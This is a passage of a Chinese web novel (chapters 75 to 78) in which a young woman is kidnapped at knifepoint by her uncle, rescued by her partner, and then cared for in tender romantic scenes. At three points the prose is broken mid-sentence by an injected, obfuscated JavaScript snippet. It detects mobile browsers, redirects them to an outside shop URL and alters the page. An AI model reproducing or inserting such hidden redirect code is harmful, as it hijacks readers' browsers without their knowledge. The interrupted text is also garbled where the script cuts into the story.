食物中毒风波平息后,宁姿与朱敬以“红鼎轩”经营者的名义向相关部门检举内部涉事人员,调查在如火如荼地进行中。 期间,冯秀英和钟荔荔母女舔着脸找她说过几次情,都被直接拒绝。冯秀英还想把乡下的亲戚们请来一起给宁姿压力,但听说钟腾涉及的是犯罪行为,亲戚们避之不及,躲这一家三口跟躲瘟神似的。 傍晚,宁姿和许久不见的前室友朱依玲打电话,朱依玲退学后旅行去了很多地方,还拿打工攒下的钱买相机,学习摄影,现在在一家旅拍工作室做摄影师助理,日常工作就是周游全国,去到那些美丽的风景区配合主摄给客户拍照。 “我喜欢摄影,比起设计壮丽的建筑,更适合把它们拍下来留存在相片里。” “找到自己真正想做的事,恭喜你。”宁姿由衷道。 朱依玲又变成了她一开始认识的样子,声音里充满活力,“闲暇时拍了许多风景照,制作成明信片寄给你,看时间差不多该到了。” “我注意查收一下。”结束通话后,宁姿心情愉悦,看到朋友振作起来找到生活的意义,即便不能时常见面,也是一件让人高兴的事。 她走到院子里打开邮筒,没有找到明信片。 难道还没送到?正疑惑着,手机忽然响起来,是一个陌生号码。接通后,传来一个男人的声音,听起来有些奇怪,“请问是宁姿吗?” “是,您是哪位?” 那人没有正面回答,而是说:“你的信件送错到我家了,抽空来取一下。” 话说完,不等宁姿反应,电话就被挂断了,紧接着收到一条短信,上面写着地址。她对这个地方有印象,处于拆迁区域,虽然在同一个片区,但也隔了很长一段距离,她想不明白明信片怎么会被送错到那么远的地方。这时,又收到同一个号码的短信—— 【打电话问过,邮递员说把两个地方的信件送反了,看看你那边是不是有我的信?我叫李正,如果有,麻烦一起带来。另外,我为人孤僻,比起打电话,还是短信联系更合适,请谅解。】 宁姿又翻了下邮箱,里面确实有一封写给李正的信,似乎没什么问题,她没有多想。 第二天一早,出发去短信上的地址。 这里属于城中村,遍布老旧危楼,隔两条街的地方正在施工拆迁,噪音很大,估计不出一年,这条街也会被拆,因此街道里大部分商铺都关门歇业,老式居民楼里的人家也搬得差不多,偶尔有零星一两家窗户还晒着衣服。 月光东路七十二号是一间杂货铺,宁姿停在门口观察,铺面比较小,橱柜里、货架上、墙边都挂着零食和日用品,里面没有人。她正觉奇怪,短信又发来了—— 【到了吗?我现在有点事,抽不开身,麻烦替我把信送上楼。】 防人之心不可无,宁姿不愿意,考虑后回复—— 【我把信放在杂货铺的桌子上,至于明信片……】 还没来得及打完字,忽然被人从身后捂住嘴巴,一把刀抵在她的脖子上。身后的男人压低声音警告,“不许发出声音,跟我走。” 竟然是钟腾,难怪打电话时她觉得对面的声音奇怪,却莫名熟悉,原来他当时捏着嗓子在说话。店内其中一排货架上商品堆放密集,他人就藏在视觉死角处,趁宁姿不注意冲出来挟持住她。 钟腾一手持刀,一手攥紧她的胳膊强拖着她往楼上走,用力很大,像要把她的骨头捏碎一样。宁姿不肯乖乖配合,拍打着楼梯的栏杆,大声求救。 “闭嘴,跟我走。”钟腾恶狠狠低吼,把人拖到泛着霉味的逼仄走廊上。她手脚并用不断挣扎,就算脖项皮肤被划伤也不肯顺从。 “该死,不想活了?”钟腾把刀挪开,拿粗壮的胳膊勒住她的脖子。 宁姿呼吸不畅,脸颊憋得发红,四肢发软,逐渐失去意识,陷入休克状态。等她醒来时已经过了三四分钟,杂货铺楼上和废弃的居民楼连通,钟腾正拖着她往走廊尽头的房间里走。 宁姿依然装晕,缓了缓,确定恢复力气后,奋力挣扎,从他手里挣脱,爬起来冲着他的小腿狠狠踢去一脚,再趁他抱腿痛嚎的时候朝来的方向跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266837|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 钟腾追了上来,宁姿跑到走廊尽头才发现有一道铁门挡住,上了锁,根本打不开。钟腾停下奔跑,缓步朝她逼近,更具压迫感,脸上挂着阴恻恻的笑容,“别白费功夫,你跑不掉的,咱们甥舅俩好好聊一聊。” “我和你没话可说。” 宁姿朝旁边看去,只见铁门旁的墙角边堆满了杂物。她看见什么抓什么,抓起破旧、沾满灰尘的拖把、扫帚等清洁用具朝他扔去。钟腾不得不后退躲避,伸手去挡。 趁此时机,宁姿往最近一个房间里跑。那个房间是一间清水房,里面的家具用品早已被搬空,只剩下斑驳的墙面和铺满灰尘的水泥地,简陋得甚至连门都没有。但不重要,她并不是想躲在这里。 进房间后径直冲向阳台,二楼的高度,跳下去不成问题。钟腾迅速追进房间,宁姿来不及多想,甚至没有时间往下看一眼,双手攀住阳台围墙的边缘,翻身就往下跳。 双手刚松开就被一股力道拖住,仰头一看,钟腾用尽力气憋得涨红的丑脸出现在她的视野中,狰狞、扭曲,像是想要把人拖入地狱深渊的索命恶鬼。宁姿费力挣扎,对方死死不放,还有把她往上拖的趋势。 她努力冷静下来,不再盲目挣扎,转而用指甲刮在人体脆弱的手腕上,往深处抓,像要把皮肉刺穿,痛得他下意识松开手。于是宁姿从阳台上猝然摔了下去,落地姿势没调整好,脚腕处传来一股锥心的疼痛,是扭伤了。 她朝四周环顾一圈,发觉这里是一间空阔的院子,要经过一条长长的走廊才能到外面的街道。这个时间足够钟腾从二楼下来,更不用说她的脚扭伤,拖慢速度。 宁姿临危不乱,拖着伤腿跑到走廊入口,把放在一旁的货柜和堆积的破旧家具全部推倒,堵住入口,然后一间一间房挨着察看。身后传来凶狠的怒号和推动架子的响声,不用回头看也知道是他追来了。 宁姿看中了一个房间,最外层是一面木门,里面还有一张铁栅栏,都带了锁,虽说不是非常坚固,但已经是目前最好的选择。她没犹豫,跑进房间转身关门。 钟腾追了上来,狰狞着面孔朝她飞扑来,一只手已深入门内。宁姿咬紧牙关用尽全身力气关门,只听“啊”的一声尖嚎,他粗壮的手臂被门狠狠夹了一下,条件反射缩回去,胳膊上现出一道红紫交杂的明显伤痕,看来是充了血。 宁姿动作利落,在他想继续阻止时,关上了木门,紧接着上锁,再关上铁栅栏。外面登时响起愤怒的砸门声,“咚咚咚咚”和打雷一样,每撞击一下,木门都跟着颤抖,门上的灰尘扑簌簌落下,给人造成十足的压迫感。 “宁姿,你开门!” “别以为躲在里面就没事了,等我把门砸开,有你好受!” “姿儿,你躲起来做什么?咱们之间一直存在些误会,舅舅只是想借这个机会和你好好谈一谈。” 他像疯了一样,一会儿怒骂,一会儿哄骗,不变的是砸门声一声大过一声,一直没停过。 宁姿不回应,缩在墙角蹲下身,这才发现自己的身体抖动得厉害,脚踝也肿了起来。她鼻头发酸,却不允许自己流眼泪,赶紧拿出手机报警,克制镇定地说出目前的情况和所处位置。接线员说已经出警,柔声安抚她的情绪,一直陪她通话。 这时,有一通电话拨来,看见屏幕上显示的名字,她所有防线仿佛都在一瞬间崩塌,眼泪如断了线的珠子落下,向接线员说明情况后,转接来电。宁姿本想尽量冷静地对他说明目前的情况,可刚一张口,声音已经哽咽到不行。房间外砸门声还在继续,每响一次都牵扯着她的神经。 到底是个刚满二十的小姑娘,哪有那么坚强?她泪如雨下,用力咬住自己的下唇,口腔里都尝到了一丝血腥味,就是不想哭出声,以免他担心。 另一边,办公室里的霍辞敏锐地察觉出宁姿的状态不对劲,十分钟后要召开一次项目会议,他翻完资料,有了初步的想法,原本是想抽空打个电话告诉她,他想她了,却在听见电话那头她克制的吸气声时胸口发紧。 霍辞心疼得难以自持,问:“在哪里?我去找你好不好?” “可是霍总,会议马上就要开始了。”一旁的助理提醒道。 霍辞朝他看去,墨黑的眼眸里沉着不容置喙的决绝,“会议照常进行,精简下季度拿地项目,严控净资产负债率在80%以内,保持经营性现金流为正。其余的由副总把控。你把会议内容整理成书面形式,今晚前发给我。” 话说完,他抓起搭在椅背上的外套朝外跑去,手机依然贴在耳边。电话那头的宁姿调整了许久状态,勉强说出一句“我等你”。 “我很快赶到,别怕。” 霍辞的声音低沉,像广袤无垠的山岳大地般踏实厚重,仿佛能稳妥地承接住世间一切,更像被施加过法术,瞬间抚平她内心所有的慌乱与惊恐。 76. 第七十六章 砸门声减弱,慢慢停下来,似乎是钟腾累了。 宁姿蜷缩在墙壁角落里,手机已经关机,或许是逃跑过程中磕碰的缘故,手机坏了,再尝试开机也开不了。和霍辞通完话后,电话那头的他沉默了许久,可以听见他的呼吸变得急促而沉重,然而再传来的嗓音一如既往沉稳。 他说:“我不会让任何人伤害你。” 最后一个字音落下,手机骤然黑屏,她的内心却燃起一束温暖的火光,所有恐惧都消失了。 隔了会儿,门外传来钟腾的声音,他也疲累至极,嗓音粗粝又沙哑,“宁姿,你太狠了,和你父母一样,冷血狠心。他们明明已经有了‘红鼎轩’,名利双收,过得风生水起,却只施舍给我一个底层的职位,美其名曰让我历练。可我根本没有话语权,得到那点微末的股份,让所有人觉得我钟腾沾了姐姐、姐夫的光。所以他们出事死了,算得到报应。” 他忽然大声笑起来,偏执又疯魔。 宁姿胸口涌上一股气,双手捏紧拳,冷道:“升米恩,斗米仇。早年间我妈妈供你读书,自己省吃俭用,打了几份工,累得落下腰肌劳损的后遗症。毕业后你想做生意,我爸妈二话不说给你出本钱。生意失败,你钱还不上,和你合伙的那些人堵在家门口要钱,是我爸妈替你还上。后来把你安排进‘红鼎轩’工作,分你股份,已是仁至义尽。” 她哽咽了一下,继续说:“他们的确有错,错在太顾念骨肉亲情,对你这种狼心狗肺的败类太过纵容。” “你懂什么?凭什么说这种话?难道给我一口饭吃,赏些碎银就算对我好?”钟腾握紧刀,朝木门劈了一刀,手被震麻了,短刀落在地面上,发出金属的碰撞声,他气急败坏反驳,“他们践踏了我的尊严。” 宁姿忍不住笑了,“你太贪心,欲壑难填,反咬一口,不肯承认自己的卑劣,找尽借口粉饰丑恶。” 门又被“哐哐哐”砸得巨响,宁姿双手捂住耳朵。 “你这个狠心的贱人把我们赶出家门,明里暗里有多少人为这事嘲笑我,嘲笑荔荔?你让我们一家三口抬不起头!” “那本是我父母的房子,给你住是看在情分上,不给你住也名正言顺,根本是你多行不义必自毙。如果你诚心悔改,我不会收走你的股份,‘红鼎轩’日后盈利分红依然够你们一家人过舒坦的日子,可你竟丧心病狂干出绑架这种事。怪我太心慈手软,面对你这种丧尽天良的混蛋,根本连丝毫余地都不该留。”宁姿铮然道。 “话已经说到这个份上,没什么好掩着藏着。我把股份转让书和撤诉申请书都带来了,你签字按手印,把股份全部转让给我就可以安然离开,否则我把你交给几位道上的兄弟。你一个漂漂亮亮的大姑娘落到他们这群真正的亡命之徒手里,未来就全毁了。你是我的亲外甥女,舅舅也不想赶尽杀绝,只要你肯听话妥协。”他连威胁带哄骗说,“听话,把门打开,不要逼我。” “我们彼此怨恨,但这么多年相处下来还算了解对方。你知道我宁为玉碎,不为瓦全。我也清楚你的血是冷的,不论如何,你都不会放我回去。走出这步险棋,你已经下定决心除掉我。”宁姿毫不留情拆穿他,“有句话不得不提醒你,我已经报警。如果你一意孤行,面临的将是严重的惩罚。” 门外的钟腾根本听不进去,忽爆发出一声恶吼,宛如野兽的狂嚎,再度捏紧短刀,一下下毫无章法地朝门上劈去,陷入疯狂,手臂肿起来,浑身被震得发痛,依然不肯停下。 “就算要死,也绝不让你好过!”他不断重复这句话,嗓音已嘶哑。 薄薄的木门中央被破开一道小口,闪着寒芒的刀锋嵌了进来。房间窗户被一面厚实的水泥墙堵住,没有其他出口。宁姿无畏站起身,双目炯炯盯紧门上的破口,全神戒备。钟腾越是想看她绝望求饶的模样,她偏不让他如愿。 钟腾的右手被木刺划伤,血肉模糊,可他像感觉不到痛似的不断朝木门连砸带砍,直到破口越来越大,足够伸进一只胳膊。他伸手打算从内开门锁,宁姿扑上前来,埋下头狠狠一口咬在他的胳膊上。只听“啊”的撕心裂肺一声惨叫,钟腾被她生咬下一小块皮肉,不得已缩回手,透过门上的破口恨意滔滔怒视她此时的神情。宁姿的双唇被鲜血染红,露齿朗笑,满眼都是勇敢与骄傲,没有半分畏惧。 “一定让你求生不得,求死不能。”钟腾恶狠狠说,继续攥紧短刀破门,一刀,一刀,又一刀……那扇破旧的木门终于支撑不住,被他一脚踢倒。 钟腾活像只杀红了眼的野猪,抓住铁栅栏拼命摇晃,一只手握紧短刀伸进屋内朝她所处的方向不断挥舞。宁姿退到墙角,尽量离他远些。 “刚才不是很嚣张吗?现在怎么不说话?等把这个破栅栏弄开,第一件事就是割掉你的舌头。”钟腾的威胁声和猖狂的笑声一同爆发,几乎要震破她的耳膜。 宁姿一字一顿道:“你会下地狱。” “最先体验地狱般痛苦的人是你。”钟腾的脸上沾满了灰尘和血污,嘴角咧开的弧度十分诡异,令人望之生寒。 他忽然退后,身影消失在门外。此时,屋内寂静一片,宁姿的神经却绷得很紧,她知道,这是暴风雨来临前的宁静。 钟腾助跑朝铁栅栏冲来,以身体的力量狠狠冲击,栅栏立马发出可怖的响声,她不自觉“啊”地叫了一声。一下没撞开,钟腾再次尝试,始终不放弃。锈迹斑斑的铁栅栏并不牢固,和那扇木门一样轰然倒地。 手无寸铁的女孩与手持短刀陷入疯狂状态的中年男人之间再无任何阻隔。宁姿不肯任人宰割,眼也不眨盯紧了他,哪怕只有渺茫的希望也决不放弃。钟腾脸上诡异的笑容逐渐消失,滔天恨意在那双浑浊的眼中显露翻涌。他高举起手中短刀,大牙咬得咯吱作响,像要把人生吞活剥一样。 正在这时,他身后现出一道高大身影,宁姿还没来得及看清楚,面前的钟腾双目陡然撑大,笨重的身体朝前栽倒,溅起一地尘埃。她被这突如其来的变故惊吓到,浑身一颤。 抬眼却见露出的身影竟是她最熟悉的,他穿着一身浓厚墨黑的正装,清瘦冷白的面庞上剑眉紧蹙,眸中利光如刃,整个人透出冷肃之气,手中死死捏紧一根木棍,钟腾被他击中后脑,倒地晕厥。 “宁姿……”他轻唤出她的名字,宁姿这才慢慢有了实感,原来不是幻想,而是他真的出现了。 “你来了……我……”她努力装作镇定,却在开口的一瞬间泣不成声,绷紧的神经松懈,无力感铺天盖地席来。她双腿一软,眼看就要跌倒。 霍辞冲上前扶住她的肩,小心翼翼地把人揽入怀里,细致地察看她有没有受伤。宁姿看出他的心思,边抽泣边说:“只是脚扭伤,有点疼,是疼哭的,不是害怕。” 这一句话直接让霍辞的眼眶变得深红,哑声回应,“很勇敢,只是怕疼了一点。我们去医院敷药,很快就不疼了,好不好?” 宁姿含泪点头。有他在身边,什么都不怕了。 霍辞看着她故作勇敢的模样,酸楚不已,后怕地紧紧抱住她,心中更感惴惴,不肯松开手,脸上滑下一行清泪。宁姿懂得他的情绪,没有出声安慰,而是伸手回抱住他,手在他背上轻轻拍,“我不怕,因为我知道你一定会赶到,像以往每一次一样,不愧是我的大树。” 纵然她想直起身为他擦拭泪水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292314|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍辞却用力把人拥在怀里,低头亲吻她的发顶,不愿让她看见自己滚滚落下的泪水,疼惜地用手为她梳理乱糟糟的长发。 后来警方赶到,把昏厥过去的钟腾带走。宁姿先去医院里处理好伤口,之后做笔录,霍辞寸步不离守在她身边。 这一次钟腾犯下了刑事案件,情节恶劣,人被直接拘留,其他涉案人员也被带走调查,最终逃不过法律的制裁。 · 星岸天麓,宁姿靠在最喜欢的躺椅上,怀里抱着软绵绵的抱枕,和朱依玲通话。 “太惊险了,都怪我平白无故送什么明信片,差点害了你。”朱依玲非常自责。 宁姿立马反驳,“是钟腾跑到我家把明信片拿走,留下封伪造的信件,跟你一点关系都没有。再说我已经平安无事,明信片我看了,风景照真是美,我很喜欢。” “喜欢的话以后我多拍些,做成明信片送你。” “我得好好收藏,以后当传家宝。”包扎好的腿支在一张独凳上,宁姿姿态放松,像一只懒洋洋的猫儿,笑容可掬。 风和日丽,她可太喜欢这样平凡又温馨的日子了。 霍辞坐在一旁的沙发上看报表,听了她的话,浅浅一笑,放下文件走到她身边,捏起一颗果盘里水灵灵的葡萄,细心剥了皮,喂到她嘴里,戏谑道:“想着传家的事,迫不及待想嫁给我?” “随口一说,没往那方面想。”她连忙否认,脸颊也不自觉烧起来。 霍辞最爱看小姑娘害羞的模样,平日里略冷清的一张脸,羞起来却娇憨得很,令人忍不住想多逗逗她。 挂断电话后,宁姿秀气的眉拧着,问:“不看文件了?” “看完了,来看看你。”霍辞垂眸,眼底透着笑意。 她抱怨说:“我的行李全被你拿来了。” “缺什么告诉我,找人给你买。” “不是这个意思,我要回自己家住。”宁姿上身坐直,故意说,其实心里已经打算留下,偏不愿那么轻易遂了他的意。 霍辞看着她精神好起来,又按着她躺下,“不行。” “这种事不是该依照我的意愿?怎么能武断拒绝?” “你是伤员,我不放心。”霍辞义正严词。 “只是脚扭伤,没那么严重,有拐杖就够了。”她偷笑了下,回应道,忽然又想起什么,“我的拐杖在哪里?” 霍辞淡定回复,“肯定是你丢三落四,随手一放,没拿回来。” “我明明记得带回来了……”宁姿努力回想。 霍辞打断她,“记错了,进门的时候你两手空空。” 他言辞恳切,这副真挚的神情任谁看了都迷糊,很难猜到就是他把拐杖藏进了柜子里,此时还刻意叹了一声,“拐杖没了,你寸步难行,得住在这里。” “找人给我买根新的。”宁姿充满期盼地看着他。 他一本正经地胡说八道,“所有人都很忙。” “那你忙不忙?”宁姿觉出点意思,眯起眼瞟向他。 他微笑道:“忙着照顾你。” 宁姿拽着他的袖口撒娇,“别开玩笑,没有拐杖,我连洗手间都没法去。” 霍辞很受用,却不肯妥协,忍笑着一把将女孩打横抱起。突如其来的失重感令宁姿惊得轻呼了一声,心跳加速,抬头凝视着近在咫尺的俊脸,从这个角度,入目的是他优美的下颌弧线,“干什么?快放我下来。” “想去哪里,我抱你去。”他的语气虽温柔,却说一不二。 宁姿终于想明白自己是上了他的当,气哼哼拧了下他胸前的衣料,拧得皱巴巴的,闷闷道:“阴谋。” 77. 第七十七章 夜幕降临,房间内暖而温柔的光线映照在每一处。 霍辞的眼底折着同样的暖色,直白得让人有些心跳加速。他向来习惯把灯点得最亮,灯火通明,借以驱散夜晚的阴霾,好似这样就不会显得孤寂。此时,感受到的却是最真切的温暖。 宁姿对着镜子认认真真刷牙,用的是他特意为她准备的牙刷,而霍辞本人斜靠在洗漱台边目不斜视地看着她,唇角微微翘起好看的弧度。 洗手台和一旁的架子上、浴室柜里放置了许多女性日用品,有女式洗面奶、卸妆膏、护肤品、化妆品……属于她的物品大量占据了他日常生活的空间,霍辞看不够似的,喜悦仿佛涟漪,在心底的池子里层层叠叠扩散蔓延。 漱完口,宁姿说:“牙膏是薄荷味的,有点辣。” “明天买新的。”他立刻回话。 宁姿把洗漱用品放回原处,擦脸的毛巾搭在偏高的架子上,她伸长了手臂去够,霍辞一只手按住她的肩,另一只手取下毛巾塞进她手里。他的动作太过轻而易举,宁姿愣了片刻,撇了下嘴,小声说:“以后你都要这么看着我洗漱吗?” “免得你跌倒,或想拿东西,够不着。”他侧面回答她的问题。 “怪不自在的。”宁姿抱怨。 霍辞置若罔闻,问:“还要拿什么?” 她摇头,叹了口气,“不能洗澡,不舒服。” “包了药,不能被水弄湿。”霍辞环视了一圈,指了指架子上没拆包装的备用毛巾,“用水浸湿擦身体,会舒服一些。” 宁姿欣然接受,换了身宽松的T恤睡裙,拿热水濡湿的毛巾擦拭了身体,果然感觉清爽多了。 霍辞敲门后返回洗手间,看见女孩在用毛巾擦拭纤细白皙的脖项,恰好有一粒饱满剔透的水珠顺着她的后颈往下滑,消失在宽大的领口边缘。而她身上的T恤偏大,松松垮垮地斜向一边,露出精致的锁骨及半边香肩。 霍辞感觉喉间有点干燥,女孩却毫无察觉,转过身对他撒娇道:“还想洗头发。” 他努力压制下喉间火燎过般的沙哑感,停顿片刻,低声回应,“我帮你。” 于是她乖巧地双手扶住洗手台边缘,弯下腰。霍辞走在她身边,拧打水龙头,先用手撩了一捧水浇在她绸缎般的乌发上,细心问:“水温合适吗?” “不烫不凉。” 他这才放心为她冲洗头发,待到浓密的秀发全被浸湿,挤出洗发露,在发烫的掌心揉搓,再把细密的泡沫揉进她的发间。男人的手掌宽厚,指腹比她的要粗粝一些,用力揉按。 “轻一点嘛。”她抗议道。 霍辞只得放轻力道,更加小心呵护。 “嗯,好舒服哦。”女孩开心地称赞,没有多想。 不料他却沉下嗓音制止,“不许发出声音,否则自己洗。” 为什么不让人说话?奇奇怪怪的……但自己洗头也太不方便,宁姿妥协闭嘴。 洗手间里只余下流水的声响,安静得过分。宁姿感觉被热水流经的每一处都变得温暖,而当他的指腹有意无意扫过她后颈敏感的肌肤时,便像掀起一股微弱的电流,令她忍不住缩了下脖子。 “别乱动,把衣服弄湿了。”霍辞低声说。 宁姿觉得委屈,明明是他不注意,手指总从她颈间划过。 “睡衣被水沾湿,穿着睡容易感冒。”他说,又拿了一条干毛巾,打算放在后领口,卷进去把衣服挡住,然而在卷的过程中,他的手指完全接触到她的肌肤。 宁姿挪了下位置,与他错开,微偏过身子抿唇看着他,被水浸湿的秀发垂在一边,白皙脸颊上也有水珠滑落,带着少女特有的清纯,微微拧眉表示不满,“我看你是故意捣乱,包藏坏心。” “怎么随口冤枉人?”霍辞轻笑,神态带些痞气。 “这个表情,看来被我说中了。”她水盈盈的漂亮杏眸睁大,神色微嗔,生动得像是漫画里走出来的人物。 霍辞不忍心再逗她,张开干毛巾朝她走去,“快把头发擦干。” 宁姿的T恤睡裙后背湿了一大片,不能穿着睡觉,霍辞拿了件他的衬衣给她穿。换上后发觉大了很多,袖子长得把手指遮了个严严实实,下摆及小腿,好在质地轻薄,穿着睡不会难受。 这一次也不例外,霍辞依旧躺在她身边。霍辞盯着她浓密的睫毛搭在眼脸上,卷翘纤长,像蝴蝶的粉翅,床头的台灯散着昧色的光,他不肯关。 “这样看着我,让我怎么睡?”宁姿无奈道。 “闭上眼就看不见我看你了。” “玩绕口令呢?回客房去。”她下了指令。 霍辞毫不犹豫拒绝,“想喝水或去洗手间怎么办?我必须守在你身边。” 好嘛,这个借口让人无法反驳。宁姿被堵住了,轻哼了声,翻过身背对着他,即便是这样,依然能感觉到身后男人直勾勾的目光。 “睡着了吗?”霍辞问。 没有人回应,他勾起唇角,往前挪了挪,伸长手臂搭在她的纤腰,把人圈进自己怀里。宁姿单薄的背贴在他温热的怀中,虽然隔着一层被子,那层温度依然熨得她耳廓跟着发烫,她尝试着挣扎了一下。 霍辞靠在她耳畔说话,呼出的气息喷薄在她脆弱的耳垂上,“别动,只想抱着你,不要考验我的定力。” 话说得那么直白,宁姿不打算挑衅他,无奈地窝在他的怀里,闷声说:“你好热,这样贴着,很难睡着。” “想不想听故事?”霍辞问完,久久没得到回应,低咳了一声。 她这才回过神,“为什么主动给我讲故事?” 霍辞爱怜地抚摸着她的头发,“经历那么危险的情况,我该多哄哄你,满足之前的愿望。” “太好了。”宁姿很开心。 霍辞从床边的置物架上取了一本薄薄的故事书,翻开第一页念了起来,单手握着书,另一只手依然贴合地搭在她的纤腰上。这本书属于儿童类读物,讲的都是小动物的故事,情节简单轻松,不费脑力,内容又积极向上,非常适合睡着听。 自从那天晚上宁姿说想听他讲故事,他就把这事放在心上了。他知道的故事很少,所以特意趁午休时间去公司附近的书店一趟,当时他问店员,“有没有适合作为睡前读物的故事书?” 店员看着面前这位英俊不凡的男人,感叹真是位好爸爸,全身上下穿戴贵重,尤其是腕间的百达翡丽,她甚至都看不出是哪一款,看来不是通售款,而是典藏款。就是这样一位一眼看上去就是商务精英的男人,还不忘亲自为孩子挑选故事书。 店员礼貌回应,“有,请问您家里是男孩还是女孩?” “女生。”他简短回应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305800|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>店员指向右侧的书架,“那边那排书架上放的都是适合女孩子读的故事书,方便问一下您家女孩的年龄吗?我为您更精确地推荐。” “二十岁。”霍辞淡声答。 “二……二十?”店员表情愕然,顿时语塞。 霍辞抬了下手,“我自己挑选,不麻烦您。” 为什么最后挑了这本书呢?因为封面上画了一只眉目清秀灵动的梅花鹿,他一眼便看见,觉得非常熟悉,与脑海中女孩似嗔似撒娇的面容重合在一起。 宁姿听完故事,不但没睡着,反而更兴奋,“小时候,爸爸、妈妈每天都会讲故事哄我睡觉,就像现在。” “小时候的你也这么不乖,听完故事也不睡?”身后的霍辞口气幽幽。 宁姿无言以对,傻呵呵笑了声,随即又哼哼唧唧的,企图用撒娇蒙混过关。霍辞把故事书放回原位,手掌按着她的肩逼她转回身面向他。 宁姿红润的嘴唇一抿,娇气道:“没听够,再讲一篇。” 霍辞压下嘴角,视线睨着她,又冷又拽,“贪得无厌。” “怪你的声音太磁性、太好听,听不够。” “糖衣炮弹没用。”台灯光线的映照下,霍辞即便侧躺,五官依然英挺俊美,神色慵懒,人如美玉,说出的话却沁出丝丝凉意,他深暗的眸底令人看不透,似琢磨着什么,“总得拿点什么做交换。” “想要什么?”宁姿没多想,问他。 “你……亲我一下。”霍辞嗓音喑哑,语速缓慢,像传说里勾人的海妖,循循善诱,看似平静,实则潜藏危险。 宁姿闭了闭眼,嗓音微微发颤,“好吧,就一下……” 她慢慢朝他靠近,本来没有那么紧张,可他墨黑的眼眸一瞬不瞬盯紧了她,平白激起动荡的心跳频率,连呼吸都变得微弱。宁姿垂下卷翘的睫毛,紧张到不敢与他对视,双手抓住被角,捏出了几道皱褶。迅速在他光洁的侧颊啄了一下,重新缩回被子里,双手捂住发热的脸颊,嘀咕着,“讲新的故事吧。” “不行,刚才那一下是上一篇故事的报酬,想听下一篇,还得付出新的报酬。”说话时,霍辞不动声色朝她靠近,身上那抹寒冽的冷香萦绕在她周围。 “你耍无赖。”宁姿控诉道,伸出手虚握成拳朝他肩上砸去。 霍辞精准地捏住她的小手,包裹在掌心不放,“吃一块蛋糕,得把上一块蛋糕的账单付了,再点新的,自然产生新的账单。” 这么说好像也没错,宁姿虽不服气,到底没继续反驳。 “下一份账单,愿意支付吗?” 宁姿没看见他眼中晦暗的情愫,思索了一小会儿,小声说:“好吧。” 她再度朝他挪过去,伸长脖项打算亲他脸颊时,霍辞伸出食指压住她的唇瓣。他的指腹滚烫,像火星般在她柔嫩的唇面上熨热,二人近在咫尺,宁姿终于看清他眸中同样炙热滚烫的情绪,吓到了,神色迷茫地看着他,被暧昧的光线点染,迷离得有些勾人。 霍辞似笑非笑,撩起她一缕柔顺的发丝,“谁说我这次也要这个?” “那你要什么?”女孩懵懂提问。 霍辞靠近她的耳畔,吐息清浅,说出了一句话。 宁姿一听,纤瘦的身子不自觉一颤,呼吸频率骤然紊乱,再不敢触及他的视线,慌乱埋下滚烫的脸。 78. 第七十八章 临近夜里十一点,忽刮起了北风,花园里的银杏枝桠随风摇摆,树叶摩挲发出沙沙声响。 零星几个归家的行人不自觉裹紧身上的外衣,口中念叨“真冷”。 星岸天麓十九层,卧室内温暖如春。 宁姿感觉自己的心仿佛化作一只桀骜冲动的小兽,不受控地想要冲破皮囊,跃上浩渺无垠的半空里。她视线低垂,羽睫微颤,耳鼓膜随心跳一下下跃动,呼吸不自觉屏住了,贝齿紧咬着下唇瓣。 “呼吸。”霍辞低声提醒。 “嗯?”她没听清,疑惑地发出一个音节。 “别把自己憋坏。”霍辞的嗓音沙哑,带有几分性感,说话间,浓重的呼吸声传入她的耳畔,更令人脸红心跳。 宁姿乖巧点了下头,为了证明,迅速呼吸了几口。 “傻子……”霍辞低声评判,越靠越近,唇瓣与她的完全贴合,那股熟悉清冷的草木香瞬间将她全然裹覆。宁姿觉得心神逐渐被安抚,紧促的情绪也稍为得到释放。 霍辞捏住她的手指,柔缓地亲吻她,舌尖猝然闯了进来,积攒太久的渴望爆发,理智被倾覆,欲念直白而莽撞,不再克制。他的碰触却是极尽温柔的,如被风携下的银杏叶般轻盈。不知不觉间,宁姿沉溺其中,漂亮的杏眸不自觉氤氲了一分水气,琥珀似的瞳眸显出引人入胜的媚色。随后,霍辞把她紧紧拥入怀中,亲吻她的秀发,再是绯红的耳廓。 “抱歉……”他低哑道。 宁姿抬眸,目光凝视他,“为什么不继续?” 霍辞手一下下抚在她的背,“等你长大,我们做了真正的夫妻。” 宁姿的小手不经意间攥紧他胸前的衣料,“其实我已经不小了。” 霍辞揉乱她的长发,“还想不想听故事?” “听。” 